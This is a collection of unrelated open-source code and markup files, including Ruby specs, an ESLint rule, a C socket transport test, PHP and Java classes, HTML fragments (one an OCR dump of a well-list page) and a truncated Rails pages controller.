<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
|
<template name="atFamousOauth">
{{#famousEach oauthService}}
{{#Surface size="[undefined, true]"}}
{{> atSocial}}
{{/Surface}}
{{/famousEach}}
</template>
|
require 'spec_helper'
describe Padrino::GelfLogger do
include RR::Adapters::MiniTest
padrino_levels = [:fatal, :error, :warn, :info, :debug, :devel]
attr_reader :logger
before do
@logger = Padrino::GelfLogger.new('0.0.0.0', 12201, 'WAN', :facility => 'Padrino::GelfLogger', :level => GELF::DEBUG)
end
it "#fatal" do
mock(logger).notify_with_level(4, "test")
logger.fatal "test"
end
it "#error" do
mock(logger).notify_with_level(3, "test")
logger.error "test"
end
it "#warn" do
mock(logger).notify_with_level(2, "test")
logger.warn "test"
end
it "#info" do
mock(logger).notify_with_level(1, "test")
logger.info "test"
end
it "#debug" do
mock(logger).notify_with_level(0, "test")
logger.debug "test"
end
it "#devel" do
mock(logger).notify_with_level(0, "test")
logger.devel "test"
end
%w{fatal error warn info debug devel}.each do |supported_level|
it "supports ##{supported_level}?" do
assert logger.public_send("#{supported_level}?")
end
end
it '#<<' do
mock(logger).notify_with_level(logger.level, 'test')
logger << 'test'
end
it '#bench' do
mock(logger).notify_with_level(0, {short_message: '(action 1000ms) - short_message', full_message: nil, _Duration: 1000, _Action: 'action'})
Timecop.freeze(Time.local(2012, 12, 20, 20, 12, 1)) do
logger.bench("action", Time.local(2012, 12, 20, 20, 12, 00), "short_message", level=:debug, color=:yellow)
end
end
it '#bench with optional full_message' do
mock(logger).notify_with_level(0, {short_message: '(action 1000ms) - message', full_message: "full", _Duration: 1000, _Action: 'action'})
Timecop.freeze(Time.local(2012, 12, 20, 20, 12, 1)) do
logger.bench("action", Time.local(2012, 12, 20, 20, 12, 00), "message", level=:debug, color=:yellow, full_message="full")
end
end
it 'should respond to #log_static for sinatra and not log anything' do
assert_respond_to logger, :log_static
end
it 'should respond to #log and not log anything' do
assert_respond_to logger, :log
end
end
|
import Ember from 'ember';
export default Ember.Controller.extend({
shortcuts:
[
{
title: "Task Editor",
combos: [
{
set: [["ctl","sh","del"]],
description: "delete focused task"
},
{
set: [["ctl","sh","ent"], ["ctl","+"]],
description: "create new task and edit it"
},
{
set: [["ctl","sh","h"], ["ctl", "sh", "⥢"],["esc"]],
description: "focus left into task list"
},
]
},
{
title: "Task List",
combos: [
{
set: [["down"], ["j"]],
description: "move down"
},
{
set: [["up"], ["k"]],
description: "move up"
},
{
set: [["o"], ["e"], ["ent"], ["space"]],
description: "toggle task in editor"
},
{
set: [["l"], ["⥤"]],
description: "display task in editor"
},
{
set: [["ctl", "sh", "l"],["ctl", "sh", "⥤"]],
description: "display task in editor and edit it"
},
{
set: [["h"], ["⥢"]],
description: "hide task from editor"
},
{
set: [["ctl","sh","del"]],
description: "delete focused task"
},
{
set: [["ctl","sh","ent"], ["ctl","sh","="]],
description: "create new task and edit it"
},
]
},
]
});
|
/*
Copyright (c) 2012 Martin Sustrik All rights reserved.
Copyright 2015 Garrett D'Amore <garrett@damore.org>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom
the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
*/
#include "../src/grid.h"
#include "../src/pair.h"
#include "../src/pubsub.h"
#include "../src/tcp.h"
#include "testutil.h"
/* Tests TCP transport. */
#define SOCKET_ADDRESS "tcp://127.0.0.1:5555"
int sc;
int main ()
{
int rc;
int sb;
int i;
int opt;
size_t sz;
int s1, s2;
void * dummy_buf;
/* Try closing bound but unconnected socket. */
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
test_close (sb);
/* Try closing a TCP socket while it not connected. At the same time
test specifying the local address for the connection. */
sc = test_socket (AF_SP, GRID_PAIR);
test_connect (sc, "tcp://127.0.0.1;127.0.0.1:5555");
test_close (sc);
/* Open the socket anew. */
sc = test_socket (AF_SP, GRID_PAIR);
/* Check NODELAY socket option. */
sz = sizeof (opt);
rc = grid_getsockopt (sc, GRID_TCP, GRID_TCP_NODELAY, &opt, &sz);
errno_assert (rc == 0);
grid_assert (sz == sizeof (opt));
grid_assert (opt == 0);
opt = 2;
rc = grid_setsockopt (sc, GRID_TCP, GRID_TCP_NODELAY, &opt, sizeof (opt));
grid_assert (rc < 0 && grid_errno () == EINVAL);
opt = 1;
rc = grid_setsockopt (sc, GRID_TCP, GRID_TCP_NODELAY, &opt, sizeof (opt));
errno_assert (rc == 0);
sz = sizeof (opt);
rc = grid_getsockopt (sc, GRID_TCP, GRID_TCP_NODELAY, &opt, &sz);
errno_assert (rc == 0);
grid_assert (sz == sizeof (opt));
grid_assert (opt == 1);
/* Try using invalid address strings. */
rc = grid_connect (sc, "tcp://*:");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://*:1000000");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://*:some_port");
grid_assert (rc < 0);
rc = grid_connect (sc, "tcp://eth10000;127.0.0.1:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == ENODEV);
rc = grid_connect (sc, "tcp://127.0.0.1");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_bind (sc, "tcp://127.0.0.1:");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_bind (sc, "tcp://127.0.0.1:1000000");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_bind (sc, "tcp://eth10000:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == ENODEV);
rc = grid_connect (sc, "tcp://:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://-hostname:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://abc.123.---.#:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://[::1]:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://abc.123.:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://abc...123:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
rc = grid_connect (sc, "tcp://.123:5555");
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
/* Connect correctly. Do so before binding the peer socket. */
test_connect (sc, SOCKET_ADDRESS);
/* Leave enough time for at least on re-connect attempt. */
grid_sleep (200);
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
/* Ping-pong test. */
for (i = 0; i != 100; ++i) {
test_send (sc, "ABC");
test_recv (sb, "ABC");
test_send (sb, "DEF");
test_recv (sc, "DEF");
}
/* Batch transfer test. */
for (i = 0; i != 100; ++i) {
test_send (sc, "0123456789012345678901234567890123456789");
}
for (i = 0; i != 100; ++i) {
test_recv (sb, "0123456789012345678901234567890123456789");
}
test_close (sc);
test_close (sb);
/* Test whether connection rejection is handled decently. */
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
s1 = test_socket (AF_SP, GRID_PAIR);
test_connect (s1, SOCKET_ADDRESS);
s2 = test_socket (AF_SP, GRID_PAIR);
test_connect (s2, SOCKET_ADDRESS);
grid_sleep (100);
test_close (s2);
test_close (s1);
test_close (sb);
/* Test two sockets binding to the same address. */
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
s1 = test_socket (AF_SP, GRID_PAIR);
test_bind (s1, SOCKET_ADDRESS);
sc = test_socket (AF_SP, GRID_PAIR);
test_connect (sc, SOCKET_ADDRESS);
grid_sleep (100);
test_send (sb, "ABC");
test_recv (sc, "ABC");
test_close (sb);
test_send (s1, "ABC");
test_recv (sc, "ABC");
test_close (sc);
test_close (s1);
/* Test GRID_RCVMAXSIZE limit */
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
s1 = test_socket (AF_SP, GRID_PAIR);
test_connect (s1, SOCKET_ADDRESS);
opt = 4;
rc = grid_setsockopt (sb, GRID_SOL_SOCKET, GRID_RCVMAXSIZE, &opt, sizeof (opt));
grid_assert (rc == 0);
grid_sleep (100);
test_send (s1, "ABC");
test_recv (sb, "ABC");
test_send (s1, "0123456789012345678901234567890123456789");
rc = grid_recv (sb, &dummy_buf, GRID_MSG, GRID_DONTWAIT);
grid_assert (rc < 0);
errno_assert (grid_errno () == EAGAIN);
test_close (sb);
test_close (s1);
/* Test that GRID_RCVMAXSIZE can be -1, but not lower */
sb = test_socket (AF_SP, GRID_PAIR);
opt = -1;
rc = grid_setsockopt (sb, GRID_SOL_SOCKET, GRID_RCVMAXSIZE, &opt, sizeof (opt));
grid_assert (rc >= 0);
opt = -2;
rc = grid_setsockopt (sb, GRID_SOL_SOCKET, GRID_RCVMAXSIZE, &opt, sizeof (opt));
grid_assert (rc < 0);
errno_assert (grid_errno () == EINVAL);
test_close (sb);
/* Test closing a socket that is waiting to bind. */
sb = test_socket (AF_SP, GRID_PAIR);
test_bind (sb, SOCKET_ADDRESS);
grid_sleep (100);
s1 = test_socket (AF_SP, GRID_PAIR);
test_bind (s1, SOCKET_ADDRESS);
sc = test_socket (AF_SP, GRID_PAIR);
test_connect (sc, SOCKET_ADDRESS);
grid_sleep (100);
test_send (sb, "ABC");
test_recv (sc, "ABC");
test_close (s1);
test_send (sb, "ABC");
test_recv (sc, "ABC");
test_close (sb);
test_close (sc);
return 0;
}
|
package feihua.jdbc.api.dao;
import feihua.jdbc.api.pojo.BasePo;
import org.apache.ibatis.annotations.Param;
import java.util.List;
/**
* Created by feihua on 2015/6/29.
* 增
*/
public interface InsertDao<PO extends BasePo,PK> extends BaseDao<PO,PK> {
/**
* 创建(增加)数据,自动生成id
* @param entity 创建的数据内容
* @return 1:增加数据成功
* 0:增加数据失败
*/
public int insert(PO entity);
/**
* 创建(增加)数据,请指定id
* @param entity 创建的数据内容
* @return 1:增加数据成功
* 0:增加数据失败
*/
public int insertWithPrimaryKey(PO entity);
/**
* 创建(增加)数据,自动生成id
* @param entity 创建的数据内容
* @return 1:增加数据成功
* 0:增加数据失败
*/
public int insertSelective(PO entity);
/**
* 创建(增加)数据,请指定id
* @param entity 创建的数据内容
* @return 1:增加数据成功
* 0:增加数据失败
*/
public int insertSelectiveWithPrimaryKey(PO entity);
/**
* 批量插入,自动生成id
* @param entities
* @return
*/
public int insertBatch(@Param("entities") List<PO> entities);
/**
* 批量插入,请指定id
* @param entities
* @return
*/
public int insertBatchWithPrimaryKey(@Param("entities") List<PO> entities);
}
|
/**
* @fileoverview Rule to flag on declaring variables already declared in the outer scope
* @author Ilya Volodin
*/
"use strict";
//------------------------------------------------------------------------------
// Requirements
//------------------------------------------------------------------------------
let astUtils = require("../ast-utils");
//------------------------------------------------------------------------------
// Rule Definition
//------------------------------------------------------------------------------
module.exports = {
meta: {
docs: {
description: "disallow `var` declarations from shadowing variables in the outer scope",
category: "Variables",
recommended: false
},
schema: [
{
type: "object",
properties: {
builtinGlobals: {type: "boolean"},
hoist: {enum: ["all", "functions", "never"]},
allow: {
type: "array",
items: {
type: "string"
}
}
},
additionalProperties: false
}
]
},
create: function(context) {
let options = {
builtinGlobals: Boolean(context.options[0] && context.options[0].builtinGlobals),
hoist: (context.options[0] && context.options[0].hoist) || "functions",
allow: (context.options[0] && context.options[0].allow) || []
};
/**
* Check if variable name is allowed.
*
* @param {ASTNode} variable The variable to check.
* @returns {boolean} Whether or not the variable name is allowed.
*/
function isAllowed(variable) {
return options.allow.indexOf(variable.name) !== -1;
}
/**
* Checks if a variable of the class name in the class scope of ClassDeclaration.
*
* ClassDeclaration creates two variables of its name into its outer scope and its class scope.
* So we should ignore the variable in the class scope.
*
* @param {Object} variable The variable to check.
* @returns {boolean} Whether or not the variable of the class name in the class scope of ClassDeclaration.
*/
function isDuplicatedClassNameVariable(variable) {
let block = variable.scope.block;
return block.type === "ClassDeclaration" && block.id === variable.identifiers[0];
}
/**
* Checks if a variable is inside the initializer of scopeVar.
*
* To avoid reporting at declarations such as `var a = function a() {};`.
* But it should report `var a = function(a) {};` or `var a = function() { function a() {} };`.
*
* @param {Object} variable The variable to check.
* @param {Object} scopeVar The scope variable to look for.
* @returns {boolean} Whether or not the variable is inside initializer of scopeVar.
*/
function isOnInitializer(variable, scopeVar) {
let outerScope = scopeVar.scope;
let outerDef = scopeVar.defs[0];
let outer = outerDef && outerDef.parent && outerDef.parent.range;
let innerScope = variable.scope;
let innerDef = variable.defs[0];
let inner = innerDef && innerDef.name.range;
return (
outer &&
inner &&
outer[0] < inner[0] &&
inner[1] < outer[1] &&
((innerDef.type === "FunctionName" && innerDef.node.type === "FunctionExpression") || innerDef.node.type === "ClassExpression") &&
outerScope === innerScope.upper
);
}
/**
* Get a range of a variable's identifier node.
* @param {Object} variable The variable to get.
* @returns {Array|undefined} The range of the variable's identifier node.
*/
function getNameRange(variable) {
let def = variable.defs[0];
return def && def.name.range;
}
/**
* Checks if a variable is in TDZ of scopeVar.
* @param {Object} variable The variable to check.
* @param {Object} scopeVar The variable of TDZ.
* @returns {boolean} Whether or not the variable is in TDZ of scopeVar.
*/
function isInTdz(variable, scopeVar) {
let outerDef = scopeVar.defs[0];
let inner = getNameRange(variable);
let outer = getNameRange(scopeVar);
return (
inner &&
outer &&
inner[1] < outer[0] &&
// Excepts FunctionDeclaration if is {"hoist":"function"}.
(options.hoist !== "functions" || !outerDef || outerDef.node.type !== "FunctionDeclaration")
);
}
/**
* Checks the current context for shadowed variables.
* @param {Scope} scope - Fixme
* @returns {void}
*/
function checkForShadows(scope) {
let variables = scope.variables;
for (let i = 0; i < variables.length; ++i) {
let variable = variables[i];
// Skips "arguments" or variables of a class name in the class scope of ClassDeclaration.
if (variable.identifiers.length === 0 ||
isDuplicatedClassNameVariable(variable) ||
isAllowed(variable)
) {
continue;
}
// Gets shadowed variable.
let shadowed = astUtils.getVariableByName(scope.upper, variable.name);
if (shadowed &&
(shadowed.identifiers.length > 0 || (options.builtinGlobals && "writeable" in shadowed)) &&
!isOnInitializer(variable, shadowed) &&
!(options.hoist !== "all" && isInTdz(variable, shadowed))
) {
context.report({
node: variable.identifiers[0],
message: "'{{name}}' is already declared in the upper scope.",
data: variable
});
}
}
}
return {
"Program:exit": function() {
let globalScope = context.getScope();
let stack = globalScope.childScopes.slice();
let scope;
while (stack.length) {
scope = stack.pop();
stack.push.apply(stack, scope.childScopes);
checkForShadows(scope);
}
}
};
}
};
|
require 'bundler/setup'
require 'rails/version'
require 'rails/railtie'
require 'jblazer'
|
<footer>
<div class="footer-top">
<h3>Need help with building your email list? <a class="lets-talk">let's talk</a></h3>
</div>
<div class="footer-bottom">
<div class="container">
<div class="row">
<div class="col-md-4 col-sm-4">
<a href="#" class="footer-menu">Terms & Conditions</a> |
<a href="#" class="footer-menu">Privacy</a> |
<a href="#" class="footer-menu">Contact</a>
</div>
<div class="col-md-4 col-sm-4">
<p>©2015 ListGuru</p>
</div>
<div class="col-md-4 col-sm-4">
<p><i class="fa fa-twitter"></i> <i class="fa fa-envelope-o"></i></p>
</div>
</div>
</div>
</div>
</footer> |
require 'punchout/puncher'
module Punchout
class Fabricator
def initialize(factory)
@puncher = Puncher.new
@factory = factory
end
def add(matchable)
@puncher.add(matchable)
end
def can_punch?(type)
true
end
def punch(type)
if @puncher.can_punch?(type)
@puncher.punch(type)
else
matchable = @factory.build(type)
@puncher.add(matchable)
matchable.thing
end
end
end
end
|
/***
* Inferno Engine v4 2015-2017
* Written by Tomasz "Rex Dex" Jonarski
*
* [# filter: actions #]
***/
#pragma once
#include "sceneEditorStructure.h"
#include "sceneEditorStructureNode.h"
#include "sceneEditorStructureLayer.h"
#include "sceneEditorStructureGroup.h"
#include "sceneEditorStructureWorldRoot.h"
#include "sceneEditorStructurePrefabRoot.h"
namespace ed
{
namespace world
{
/// context for selection
class SelectionContext : public base::SharedFromThis<SelectionContext>
{
RTTI_DECLARE_VIRTUAL_ROOT_CLASS(SelectionContext);
public:
SelectionContext(ContentStructure& content, const base::Array<ContentElementPtr>& selection);
SelectionContext(ContentStructure& content, const ContentElementPtr& selectionOverride);
~SelectionContext();
//--
// is the selection empty
FORCEINLINE const Bool empty() const { return m_selection.empty(); }
// is the a single object selection
FORCEINLINE const Bool single() const { return m_selection.size() == 1; }
// get number of objects in the selection
FORCEINLINE const Uint32 size() const { return m_selection.size(); }
// get content we operate on
FORCEINLINE ContentStructure& getContent() const { return m_content; }
// all selected objects
FORCEINLINE const base::Array<ContentElementPtr>& getAllSelected() const { return m_selection; }
// get unique selection
FORCEINLINE ContentElementType getUnifiedSelectionType() const { return m_unifiedSelectionType; }
// get list of unified elements
FORCEINLINE const base::Array<ContentElementPtr>& getUnifiedSelection() const { return m_unifiedSelection; }
// get typed list of unified elements
template< typename T >
FORCEINLINE const base::Array<T>& getUnifiedSelection() const { return (const base::Array<base::SharedPtr<T>>&) m_selection; }
// get "or" mask (at least one node has it) of all "features" of selection - unified selection only
FORCEINLINE const ContentElementMask getUnifiedOrMask() const { return m_unifiedOrMask; }
// get "and" mask (all nodes have it) of all "features" of selection - unified selection only
FORCEINLINE const ContentElementMask& getUnifiedAndMask() const { return m_unifiedAndMask; }
private:
// content
ContentStructure& m_content;
// all selected objects
base::Array<ContentElementPtr> m_selection;
// unique selection - best
ContentElementType m_unifiedSelectionType; // type of the unique selection
base::Array<ContentElementPtr> m_unifiedSelection; // part of selection that has unified type
ContentElementMask m_unifiedOrMask;
ContentElementMask m_unifiedAndMask;
//--
void filterSelection();
};
} // world
} // ed |
# Change the current working directory to the directory of this script
cd $(dirname -- "$(readlink -f -- "$0")") # linux only
cd $(cd -P -- "$(dirname -- "$0")" && pwd -P) # doesn't work properly if $0 is a symbolic link
|
namespace Spinner.Fody.Weaving
{
internal enum StateMachineKind
{
None,
Iterator,
Async
}
} |
<?php
/**
* Created by PhpStorm.
* User: Nicolas Canfrère
* Date: 20/10/2014
* Time: 15:15
*/
/*
____________________
__ / ______ \
{ \ ___/___ / } \
{ / / # } |
{/ ô ô ; __} |
/ \__} / \ /\
<=(_ __<==/ | /\___\ | \
(_ _( | | | | | / #
(_ (_ | | | | | |
(__< |mm_|mm_| |mm_|mm_|
*/
namespace ZPB\AdminBundle\Form\type;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
class PostType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('title','text', ['label'=>'Titre de l\'article'])
->add('body','textarea', ['label'=>'Corps'])
->add('excerpt','textarea', ['label'=>'Extrait'])
->add('bandeau', 'hidden')
->add('squarreThumb', 'hidden')
->add('fbThumb', 'hidden')
->add('save', 'submit', ['label'=>'Enregistrer le brouillon'])
->add('publish', 'submit', ['label'=>'Publier'])
;
}
public function setDefaultOptions(OptionsResolverInterface $resolver)
{
$resolver->setDefaults(['data_class'=>'ZPB\AdminBundle\Entity\Post']);
}
public function getName()
{
return 'new_post_form';
}
}
|
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>W29693_text</title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>
<div style="margin-left: auto; margin-right: auto; width: 800px; overflow: hidden;">
<div style="float: left;">
<a href="page43.html">«</a>
</div>
<div style="float: right;">
</div>
</div>
<hr/>
<div style="position: absolute; margin-left: 0px; margin-top: 0px;">
<p class="styleSans1.0000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"></p>
</div>
<div style="position: absolute; margin-left: 212px; margin-top: 212px;">
<p class="styleSans498.0000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"> <br/>mm <br/>21141 ANNA 156-100—8-5-1H <br/>Well Type <br/> <br/>0 — oe Confidential <br/>G G G <br/>O O O O <br/> <br/> <br/>OG <br/>21181 SMOKEY KAREN 16-20-17-2H O <br/>G G cs cs 06 - G <br/>G <br/>G <br/> <br/>21193 AMES 15 32—1H 0 21197 JACKMAN 156-100-18—19-1H O <br/>>>>>>>>>>>> <br/>> <br/>06 <br/>21198 BERGER 156-100—7-6 1H <br/>0 O O <br/> <br/>21644 WILDROSE 159—97-13-8-20-13H3 OG <br/>21699 SKUNK CREEK 13-18 17 16H <br/>>>>>>>>>>>>> <br/>A A A DRL _ — <br/>G G G 0G 0G 0G 0G 0G 0G 0G 0G 0G 0G 0G 0G 0G <br/>)> <br/>A Confidential <br/> </p>
</div>
<div style="position: absolute; margin-left: 0px; margin-top: 786px;">
<p class="styleSans194.0000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"></p>
</div>
<div style="position: absolute; margin-left: 977px; margin-top: 0px;">
<p class="styleSans12000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"></p>
</div>
<div style="position: absolute; margin-left: 680px; margin-top: 2528px;">
<p class="styleSans1.0000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"></p>
</div>
<div style="position: absolute; margin-left: 892px; margin-top: 2507px;">
<p class="styleSans2.0000<enum PANGO_WEIGHT_NORMAL of type PangoWeight><enum PANGO_STYLE_NORMAL of type PangoStyle>"></p>
</div>
</body>
</html>
|
<?php
return array (
'id' => 'mediacom_mp82s4_ver1',
'fallback' => 'generic_android_ver4_2',
'capabilities' =>
array (
'is_tablet' => 'true',
'model_name' => 'MP82S4',
'brand_name' => 'Mediacom',
'marketing_name' => 'SmartPad 8.0 S4',
'can_assign_phone_number' => 'false',
'physical_screen_height' => '174',
'physical_screen_width' => '98',
'resolution_width' => '768',
'resolution_height' => '1024',
),
);
|
/*
For more information, please see: http://software.sci.utah.edu
The MIT License
Copyright (c) 2020 Scientific Computing and Imaging Institute,
University of Utah.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
*/
#ifndef CORE_ALGORITHMS_MATH_ResizeMatrixALGO_H
#define CORE_ALGORITHMS_MATH_ResizeMatrixALGO_H
#include<Core/Algorithms/Base/AlgorithmBase.h>
#include<Core/Algorithms/Math/share.h>
namespace SCIRun
{
namespace Core
{
namespace Algorithms
{
namespace Math
{
ALGORITHM_PARAMETER_DECL(NoOfRows);
ALGORITHM_PARAMETER_DECL(NoOfColumns);
ALGORITHM_PARAMETER_DECL(Major);
class SCISHARE ResizeMatrixAlgo : public AlgorithmBase
{
public:
ResizeMatrixAlgo();
AlgorithmOutput run(const AlgorithmInput& input) const;
};
}
}
}
}
#endif
|
#include "labyrinth.h"
#include <algorithm>
Labyrinth::Labyrinth(const int& width, const int& height, const std::vector<std::string>& map)
:_data(width, height), _visited(width, height)
{
for (int i = 0; i < width; ++i) {
for (int j = 0; j < height; ++j) {
_visited.set(i, j, false); //None visited yet
_data.set(i, j, map[i][j]);
if (_data.get(i, j) == 'E') {
_start = Point2U(i, j);
}
}
}
}
bool Labyrinth::isValid(const Point2U& point) const {
return _data.valid(point);
}
bool Labyrinth::isCheese(const Point2U& point) const {
return _data.get(point) == 'Q';
}
bool Labyrinth::isEntrance(const Point2U& point) const {
return _data.get(point) == 'E';
}
bool Labyrinth::isExit(const Point2U& point) const {
return _data.get(point) == 'S';
}
bool Labyrinth::isWall(const Point2U& point) const {
return _data.get(point) == '1';
}
bool Labyrinth::isPath(const Point2U& point) const {
return _data.get(point) == '0';
}
Point2U Labyrinth::getStart() const {
return _start;
}
bool Labyrinth::checkRight(const Point2U &point) const {
auto right = point + Point2U(1, 0);
if (isWall(right)) return false;
return true;
}
bool Labyrinth::checkLeft(const Point2U &point) const {
auto left = point + Point2U(-1, 0);
if (isWall(left)) return false;
return true;
}
bool Labyrinth::checkUp(const Point2U &point) const {
auto up = point + Point2U(0, 1);
if (isWall(up)) return false;
return true;
}
bool Labyrinth::checkDown(const Point2U &point) const {
auto down = point + Point2U(0, -1);
if (isWall(down)) return false;
return true;
}
void Labyrinth::setVisited(const Point2U& point) {
_visited.set(point, true);
}
bool Labyrinth::visited(const Point2U& point) const {
return _visited.get(point);
}
bool Labyrinth::getNeighbor(const Point2U& point, Point2U& neighbor) const {
auto down = point + Point2U(0, -1);
auto up = point + Point2U(0, 1);
auto left = point + Point2U(-1, 0);
auto right = point + Point2U(1, 0);
auto dright = down + Point2U(1, 0);
auto dleft = down + Point2U(-1, 0);
auto uright = up + Point2U(1, 0);
auto uleft = up + Point2U(-1, 0);
std::vector<Point2U> moves = {down, up, left, right, dright, dleft, uright, uleft};
for (auto& move : moves) {
if (isValid(move))
if (!visited(move) && !isWall(move)) {
neighbor = move;
return true;
}
}
return false;
}
|
<!-- 添加/删除备注询问框 -->
<div class="add-remark-container">
<div class="tag-group tag-financal">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">创建时间</label>
<div class="layui-input-inline">
<input type="text" name="start_time" class="layui-input" id="test-start" placeholder="yyyy-MM-dd hh-mm-ss" readonly>
</div>
</div>
<span class="jur-line">-</span>
<div class="layui-inline">
<div class="layui-input-inline">
<input type="text" name="stop_time" class="layui-input" id="test-stop" placeholder="yyyy-MM-dd hh-mm-ss" readonly>
</div>
</div>
</div>
</div>
<div class="btn">
<p class="clearfix">
<a class="ok">导出</a>
</p>
</div>
</div>
|
class PagesController < Comfy::Admin::Cms::PagesController
helper 'page_blocks'
before_action :check_permissions
before_action :check_alternate_available, only: [:edit, :update, :destroy]
before_action :check_can_destroy, only: :destroy
def index
@all_pages = Comfy::Cms::Page.includes(:layout, :site, :categories)
@pages_by_parent = pages_grouped_by_parent
@pages = apply_filters
end
def new
@blocks_attributes = @page.blocks_attributes
end
def create
save_page
flash[:success] = I18n.t('comfy.admin.cms.pages.created')
redirect_to action: :edit, id: @page
rescue ActiveRecord::RecordInvalid
flash.now[:danger] = I18n.t('comfy.admin.cms.pages.creation_failure')
render action: :new
end
def edit
@blocks_attributes = if params[:alternate]
AlternatePageBlocksRetriever.new(@page).blocks_attributes
else
PageBlocksRetriever.new(@page).blocks_attributes
end
end
def update
save_page
flash[:success] = I18n.t('comfy.admin.cms.pages.updated')
if current_user.editor?
RevisionMailer.external_editor_change(user: current_user, page: @page).deliver_now
end
if updating_alternate_content?
redirect_to action: :edit, id: @page, alternate: true
else
redirect_to action: :edit, id: @page
end
rescue ActiveRecord::RecordInvalid
flash.now[:danger] = I18n.t('comfy.admin.cms.pages.update_failure')
render action: :edit
end
def destroy
if params[:alternate].nil?
@page.destroy
flash[:success] = "Draft #{@page.layout.label.downcase} deleted"
else
AlternatePageBlocksRemover.new(@page, remover: current_user).remove!
flash[:success] = "Draft update for #{@page.layout.label.downcase} removed"
end
